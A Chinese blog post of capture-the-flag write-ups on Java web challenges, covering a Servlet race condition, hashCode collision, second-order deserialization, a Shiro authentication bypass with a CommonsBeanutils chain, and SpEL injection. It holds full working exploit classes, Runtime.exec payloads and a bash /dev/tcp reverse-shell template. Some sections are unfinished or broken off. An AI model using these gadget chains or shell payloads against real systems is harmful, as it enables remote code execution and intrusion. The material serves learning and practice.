最近做的几道java题

几道java题

[VNCTF2022公开赛]easyJava

右键看源码,提示了<!-- /file? -->

get传参url,比如:

file?url=file:///显示根目录下的文件:

ezjava1

没法直接读flag,直接利用file?url=file:///proc/self/environ看当前工作目录:

1
PWD:/usr/local/tomcat

后面就是读响应文件了,解题需要的两个class文件中比较重要的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//User.class
public class User implements Serializable {
private String name;
private String age;
private transient String height; //注意height被transient修饰了

public User(String name, String age, String height) {
this.name = name;
this.age = age;
this.height = height;
}
//HelloWorldServlet.class
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;

public HelloWorldServlet() {
}

public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}

if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}

}
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}

}

//check方法:
public static boolean check(String checkStr) {
if ("vnctf2022".equals(checkStr))
return true;
return false;
}

User类下有三个属性:name,age,height。注意height这东西被transient修饰,不参与序列化。

然后doGet这个HttpServlet类中的方法存在:

1
2
3
4
5
6
7
8
9
    if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}

}
}

一个看似有问题的逻辑,这里考点是Servlet的线程安全问题

Servlet类不会每次收到请求都会去实例化一次。它处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象。而这个this.name刚好判断的是实例化对象的属性。

这里可以用条件竞争,可以多个线程弄它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys  # 导入 sys 模块,用于与 Python 解释器进行交互,例如退出程序
import requests # 导入 requests 模块,用于发送 HTTP 请求
import threading # 导入 threading 模块,用于多线程编程

# 定义两个目标 URL
url1 = 'http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=vnctf2022'
url2 = 'http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=foo'

# 创建一个事件对象
event = threading.Event()

# 定义一个函数,接受一个参数 mode
def go(mode):
# 等待事件被设置
event.wait()
while (1): # 进入一个无限循环
try: # 尝试执行以下代码块
# 发送 HTTP GET 请求
r = requests.get(url1 if mode == 1 else url2)
# 如果响应文本中包含 'The Key is '
if 'The Key is ' in r.text:
# 打印响应文本
print(r.text)
# 退出程序,返回状态码 1
sys.exit(1)
except: # 捕获异常
pass # 忽略异常,继续执行循环

# 如果当前脚本是主模块
if __name__ == '__main__':
# 创建 30 个线程并启动它们,每个线程都调用 go 函数,传入参数 1
for i in range(30):
threading.Thread(target=go, args=(1,)).start()
# 创建 30 个线程并启动它们,每个线程都调用 go 函数,传入参数 2
threading.Thread(target=go, args=(2,)).start()
# 设置事件,通知所有线程可以开始执行
event.set()

也可以不这么麻烦,直接a.py+b.py同时跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#a.py
import requests
host = "http://ae396770-0931-4cc0-a719-448f093e1ebe.node5.buuoj.cn:81/"
while True:
r = requests.get(host+"evi1?name=asdqwer")
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)
if(r.text.replace(" ","")!=""):
print(r.text)

#b.py
import requests
host = "http://ae396770-0931-4cc0-a719-448f093e1ebe.node5.buuoj.cn:81/"
while True:
r = requests.get(host+"evi1?name=vnctf2022")
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)

拿到key后就是doPost方法下的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}

base64先解码然后反序列化,然后看结果是否等于this.user。但注意User类下height被transient修饰。所以需要对readObject进行重写,直接把这个方法加在User.java中就行:

1
2
3
4
5
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package entity;//注意这个包路径不能乱写,这也是要序列化的
import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
//rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=

}
}

可以把这字符串再反序列化一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package entity;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Der {
public static void main(String[] args) throws IOException, ClassNotFoundException {

String serializedObject = "rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=";

byte[] bytes = Base64.getDecoder().decode(serializedObject);


ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));


User user = (User) objectInputStream.readObject();

// 输出反序列化后的对象信息
System.out.println("Deserialized User:");
System.out.println("Username: " + user.getName());
System.out.println("Age: " + user.getAge());
System.out.println("Height: " + user.getHeight());
}
}
//Deserialized User:
//Username: m4n_q1u_666
//Age: 666
//Height: 180

[HFCTF2022]ezchain(未完成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//index.java
public class Index {
static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
Map queryMap = this.queryToMap(t.getRequestURI().getQuery());
String response = "Welcome to HFCTF 2022";
if(queryMap != null) {
String token = (String)queryMap.get("token");
if(Objects.hashCode(token) == "HFCTF2022".hashCode() && !"HFCTF2022".equals(token)) {
InputStream is = t.getRequestBody();
try {
new Hessian2Input(is).readObject();
}
catch(Exception e) {
response = "oops! something is wrong";
}
}
else {
response = "your token is wrong";
}
}
t.sendResponseHeaders(200, ((long)response.length()));
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public Map queryToMap(String query) {
if(query == null) {
return null;
}
HashMap result = new HashMap();
String[] v5 = query.split("&");
int v3;
for(v3 = 0; v3 < v5.length; ++v3) {
String[] entry = v5[v3].split("=");
if(entry.length > 1) {
result.put(entry[0], entry[1]);
}
else {
result.put(entry[0], "");
}
}
return result;
}
}

public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
}

第一个问题:

1
2
3
4
5
6
String token = (String)queryMap.get("token");
if(Objects.hashCode(token) == "HFCTF2022".hashCode() && !"HFCTF2022".equals(token)) {
InputStream is = t.getRequestBody();
try {
new Hessian2Input(is).readObject();
}

哈希碰撞,不过java里这个hashcode这样定义:

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

主要就是这个h = 31 * h + val[i];。如果想找个字符串的hashcodeHFCTF2022相等的话:只要最后两位满足:31a+b=31x+y就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.util.Objects;

public class hashcode_colli {
public static void main(String[] args) throws Exception {
String alphebat = "";
for (char c = 'A'; c <= 'Z'; c++) {
alphebat += c;
}
for (char c = 'a'; c <= 'z'; c++) {
alphebat += c;
}
for (char c = '0'; c <= '9'; c++) {
alphebat += c;
}

String secret = "HFCTF2022";
for (int i = 0; i < alphebat.length(); i++) {
for (int j = 0; j < alphebat.length(); j++) {
String token = "HFCTF20";
token+=alphebat.charAt(i);
token+=alphebat.charAt(j);
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
System.out.println("SUCCESS");
System.out.println(token);
}
}
}
}
}
//HFCTF200p HFCTF201Q
1
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])

2023极客巅峰babyurl

java二次反序列化的题,跟着wp写的。主要目的就是学习二次反序列化

参考文章:

1

2

拿到jar文件直接丢IDEA反编译下,注意下面这几个类:

IndexController.java存在:

babyurl1

/hack路由接受payload参数,base64解码后反序列化,然后再把反序列化的结果o和它的属性url打印出来。MyObjectInputStream是他自定义的输入流的类:

babyurl4

String数组是这个:

1
{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};

objectinputstream

作用就是在反序列化过程中阻止特定类反序列化。这里看看他后面自己定义那两个:
babyurl5

主要作用就是读取特定URL的内容并返回,但注意banfile协议。

babyurl6

简单说就是通过重写readObject方法把URLvisiter的结果写到tmp/file文件中。

现在解题思路就很清晰了:通过反序列化特定的URLHelper实例调用其重写的readObject方法达到将特定URL中的内容写到特定文件中:

1
2
3
4
URLHelper handler = new URLHelper("http://127.0.0.1:8888/flag.txt");
URLVisiter urlVisiter = new URLVisiter();
Field aaa = Class.forName("com.yancao.ctf.bean.URLHelper").getDeclaredField("visiter");
aaa.set(handler,urlVisiter);

但问题是ban了这两个关键类。。所以要考虑别的方法:二次反序列化

SignedObject类存在getObject方法,里面调用了readObject

babyurl9

而且content完全可控,看它的构造方法,初始化时直接进行了序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// 创建一个 ByteArrayOutputStream 对象,它是一个字节数组输出流,用于将对象序列化后的数据写入字节数组
ByteArrayOutputStream b = new ByteArrayOutputStream();

// 创建一个 ObjectOutputStream 对象,并将其连接到 ByteArrayOutputStream 上,用于将对象序列化为字节流
ObjectOutput a = new ObjectOutputStream(b);

// 将传入的对象 object 序列化为字节流,并将其写入到 ByteArrayOutputStream 中
a.writeObject(object);

// 刷新 ObjectOutputStream,确保所有数据都被写入到 ByteArrayOutputStream 中
a.flush();

// 关闭 ObjectOutputStream,释放资源
a.close();

// 将 ByteArrayOutputStream 中的字节数据转换为字节数组,并赋值给 SignedObject 中的 content 属性
this.content = b.toByteArray();

// 关闭 ByteArrayOutputStream,释放资源
b.close();
}

这里对传入的Object进行了序列化然后传给content,现在可以写一个signedObject类:

1
2
3
4
5
6
7
8
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(恶意类, privateKey, signingEngine);
//用于签名的私钥等其他两个参数不需要深究,当个模板用就可以。

然后调用signedObjectgetObject方法就能实现对object这个恶意类的序列化。那么如何触发getObject方法?这里先通过一次序列化触发getObject,然后getObject再触发一次反序列化:

这里的getter方法要利用Jackson序列化触发:

参考文章

参考文章

这里直接照搬这两位师傅的分析:

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

babyurl10

然后跟进到_writeValueAndClose里面

babyurl11

跟进到这个序列化函数里,后面就类似于封装了,层层调用

11

然后调用到最终的这个serializeFields方法

12

这里其实就是通过三元运算符进行getter方法的调用:

1
2
final Object value = (_accessorMethod == null) ? _field.get(bean)
: _accessorMethod.invoke(bean, (Object[]) null);

哪些地方可以调用writeValueAsString方法?

PojoNode下存在nodeToString方法,调用了这个writeValueAsString:

13

BaseJsonNode的toString方法调用了这个nodeToString:

14

这里注意这俩类的关系:这个类是一个抽象类,POJONode就属于它的一个实现类(父与子,我们后面可以通过调用POJONode.toString方法调用它自身的nodeToString方法)

BadAttributeValueExpException下的eadObject方法调用了toString:

15

现在可以捋下思路:

1
2
3
4
5
6
7
8
BadAttributeValueExpException#readObject->
POJONode#toString->
ObjectWriter#writeValueAsString->
SignedObject#getObject->
二次反序列化->
URLHelper#readObject->
URLVisiter#visitUrl
第一次反序列化为了调用getObject方法,第二次反序列化才是恶意类的反序列化

然后这里有个坑,参考文章
主要就是BaseJsonNode类在反序列化时会走他自定义的一个writeReplace方法:

16

可以通过反射直接把它删了:

1
2
3
4
5
6
7
8
9
10
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
//代码获取当前线程的上下文类加载器。然后,使用toClass方法将修改后的BaseJsonNode类定义加载到JVM中。
} catch (Exception e) {
}

然后注意这个toClass方法是javassist 库中的一个方法,得导入相关依赖才能用:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.yancao.ctf;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class CtfAttack {
public static void main(String[] args) throws IOException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//恶意类
URLHelper urlHelper = new URLHelper("http://127.0.0.1:8888/flag.txt");
//注意这里读文件的URL,也可以这么写:url:file:///flag.txt
URLVisiter urlVisiter = new URLVisiter();
urlHelper.visiter = urlVisiter;

//用于二次反序列化的类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);

//删除 pojoNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

POJONode pojoNode = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class aaa = Class.forName("javax.management.BadAttributeValueExpException");
Field val = aaa.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, pojoNode);
//这里设置badAttributeValueExpException对象的val值为pojoNode。反序列化badAttributeValueExpException就会走到pojoNode.ToString

//序列化
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(ser);
objectOutputStream.writeObject(badAttributeValueExpException);
System.out.println(Base64.getEncoder().encodeToString(ser.toByteArray()));
}
}

[CISCN 2023 初赛]DeserBug(未完成)

描述:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

Testapp.java下存在反序列化:

deserbug1

看下pom.xml

deserbug2

CC3.2.2版本,CC自3.2.1后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中,看下给的另一个Myexpect.java

deserbug3

结合题目提示能知道利用点在这个getAnyexpect方法,它会new一个实例出来,这里可以想到之前CC3那部分:利用动态类加载机制执行恶意代码,类似这种:

看下提示中给的cn.hutool.json.JSONObject.put:

1
2
3
4
@Deprecated
public JSONObject put(String key, Object value) throws JSONException {
return this.set(key, value);
}

这里跟下调用栈,即cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,本地调试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import cn.hutool.json.JSONObject;
import com.app.Myexpect;

public class TmpTest {
public static void main(String[] args) {

Myexpect myexpect = new Myexpect();

myexpect.setTargetclass(Evil.class);

JSONObject jsonObject = new JSONObject();

jsonObject.put("whatever", myexpect);
}
}

public class Evil {
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

[2022]easyjava

参考文章

application.properties:

1
2
3
4
server.port=8090
server.servlet.context-path=/web
spring.thymeleaf.cache=false
spring.thymeleaf.mode=HTML5

应用程序将在 /web 上下文路径下运行。例如,如果应用程序的域名是 example.com,那么应用程序将可以通过 http://example.com/web 访问

Shiro版本1.5.2

1
2
3
4
5
6
<!--Shiro框架-->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.2</version>
</dependency>

ShiroConfig.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Configuration
public class ShiroConfig {
@Bean
public ShiroFilterFactoryBean getShiroFilterFactoryBean(@Qualifier("getDefaultWebSecurityManager") DefaultWebSecurityManager defaultWebSecurityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(defaultWebSecurityManager);
Map<String, String> filterMap = new LinkedHashMap();
filterMap.put("/", "anon");
filterMap.put("/login", "anon");
filterMap.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
bean.setLoginUrl("/login");
return bean;
}

@Bean
public DefaultWebSecurityManager getDefaultWebSecurityManager(@Qualifier("adminRealm") AdminRealm adminRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(adminRealm);
return securityManager;
}

@Bean
public AdminRealm adminRealm() {
return new AdminRealm();
}
}

anon:表示允许匿名访问,即不需要进行身份验证就可以访问对应的URL
authc:表示需要进行身份验证后才能访问,即用户必须登录后才能访问对应的URL

HelloController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.butler.springboot14shiro.MyController;

import com.butler.springboot14shiro.Util.MyObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.util.Base64;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class HelloController {
@RequestMapping({"/"})
public String index(Model model) {
model.addAttribute("msg", "Hello World");
return "login";
}

@RequestMapping({"/login"})
public String login(String username, String password, Model model) {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);

try {
subject.login(token);
return "admin/hello";
} catch (UnknownAccountException var7) {
model.addAttribute("msg", "用户名错误");
return "login";
} catch (IncorrectCredentialsException var8) {
model.addAttribute("msg", "密码错误");
return "login";
}
}

@RequestMapping({"/admin/hello"})
public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {
try {
byte[] decode = Base64.getDecoder().decode(data);
InputStream inputStream = new ByteArrayInputStream(decode);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
myObjectInputStream.readObject();
} catch (Exception var6) {
var6.printStackTrace();
model.addAttribute("msg", "data=");
}

return "admin/hello";
}
}

首先admin/hello路由下可以将data解码后反序列化,但问题是得绕过这个Shiro认证才行。

Shiro绕过

Sshirobypass

分析1

分析2

构造http://node4.anna.nssctf.cn:28969/;/web/admin/hello?data=即可绕过shiro的身份验证

然后MyObjectInputSteam里ban了这些:

1
2
3
4
blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");

阻止了使用Hibernate反序列化链和Jdbc链子,但是这里是Shiro,内置的BeanComparator并没有被过滤,因此可以打CB链子,注意这里是commons-beanutils1.9.4,做poc的时候也要换成相同的版本,否则是报serializeUID错误。

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>

后面就是CB那条动态加载字节码的链子了,比如弹计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Clac extends AbstractTranslet {
public Clac() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

后面exec里的command用这个写(我写calc方便本地测试):

[java反弹shell](Runtime.exec Payload Generater | AresX’s Blog)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.butler.springboot14shiro.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class EXP {
public static void main(String[] args) throws Exception {
byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",codes);
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
BeanComparator beanComparator1=new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
setFieldValue(priorityQueue,"comparator",beanComparator);

byte[] result=serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(result));

}

public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

这个CB的写法和当时跟DB师傅学的那个有一点点不同,多了这几个东西:

1
2
3
BeanComparator beanComparator1=new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
setFieldValue(priorityQueue,"comparator",beanComparator);

其实目标还是保证add的时候不执行命令,所以放了假的queuecomparator进去,效果是一样的

[CISCN2023华北]normal_snake[未完成]

pom.xml存在:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>

IndexController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
```



## [D^3CTF 2022] shorter

```java
//MainController.java
@RestController
public class MainController {
@GetMapping({"/hello"})
public String index() {
return "hello";
}

@PostMapping({"/hello"})
public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
if (baseStr.length() >= 1956) {
return "too long";
} else {
byte[] decode = Base64.getDecoder().decode(baseStr);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "hello";
}
}

Fastjson

ezjava

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//spel.java
@RestController // 声明该类是一个 REST 控制器,可以处理 HTTP 请求和响应
@RequestMapping({"/SPEL"}) // 映射处理该类的请求路径为 "/SPEL"
public class spel { // 定义一个名为 spel 的类

@RequestMapping({"/vul"}) // 映射处理 "/SPEL/vul" 路径的请求
public String spelVul(String ex) { // 定义一个名为 spelVul 的方法,接收一个名为 ex 的参数
// 创建 SpEL 表达式解析器
ExpressionParser parser = new SpelExpressionParser();
// 创建 SpEL 表达式的评估上下文
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析并执行传入的 SpEL 表达式,获取结果,并转换为字符串
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
// 将结果打印到控制台
System.out.println(result);
// 返回结果字符串
return result;
}
}

进去是个报错页面:

polarspel1

参考文章

Spring Boot 框架Whitelabel Error Page SpEL注入的原因就是系统报错页面把用户的输入当做了表达式来执行。但这题没啥花花绕绕的,直接就能执行命令:

1
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();

这里直接将用户的输入ex当作表达式内容进行解析。

输入一个简单的乘法运算2*2,可以看到返回的值是经过解析后的4

polarjava

两种解法:

1
2
3
4
// [shell_b64_encode] 为 bash -i >& /dev/tcp/ip/port 0>&1 的 base64 编码,注意 IP 须为外网地址,且目标能出网
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,}|[shell_b64_encode]{base64,-d}|{bash,-i}")
// 读取 flag
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "utf8")).readLine()

polarspel2

backendservice


最近做的几道java题
http://example.com/2024/04/20/最近做的几道java题/
作者
notbad3
发布于
2024年4月20日
许可协议